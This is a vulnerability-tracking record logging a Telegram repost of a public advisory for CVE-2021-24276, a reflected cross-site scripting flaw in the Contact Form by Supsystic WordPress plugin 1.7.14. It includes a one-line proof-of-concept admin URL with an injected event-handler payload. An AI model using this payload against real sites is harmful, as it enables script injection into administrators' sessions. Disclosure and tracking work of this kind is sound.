{"uuid": "12c36378-7faa-4d50-8208-4058173dbbe2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-24276", "type": "seen", "source": "https://t.me/hacking_Attack/25365", "content": "Exploit Collector\nWordPress Contact Form 1.7.14 Cross Site Scripting\n\nhttps://2.bp.blogspot.com/-S-N0q2XL8x8/WWlu5FDj1eI/AAAAAAAAIJA/vGskVQb_QegQZ0-UZMHSDeFJ08ju6pdGQCLcBGAs/s1600/h104.png \nWordPress Contact Form plugin version 1.7.14 suffers from a cross site scripting vulnerability.\n\nMD5 | ad3b8c07914e764e78a039113f3ce4a9\n\nDownload\n# Exploit Title: WordPress Plugin Contact Form 1.7.14 - Reflected Cross-Site Scripting (XSS)\n# Date: 3/28/2021\n# Author: 0xB9\n# Software Link: https://wordpress.org/plugins/contact-form-by-supsystic/\n# Version: 1.7.14\n# Tested on: Windows 10\n# CVE: CVE-2021-24276\n\n1. Description:\nThe Contact Form by Supsystic WordPress plugin before 1.7.15 did not sanitise the tab parameter of its options page before outputting it in an attribute, leading to a reflected Cross-Site Scripting issue\n\n2. Proof of Concept:\n/wp-admin/admin.php?page=contact-form-supsystic&tab=\"+style=animation-name:rotation+onanimationstart=alert(/XSS/)//\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:20.362239Z"}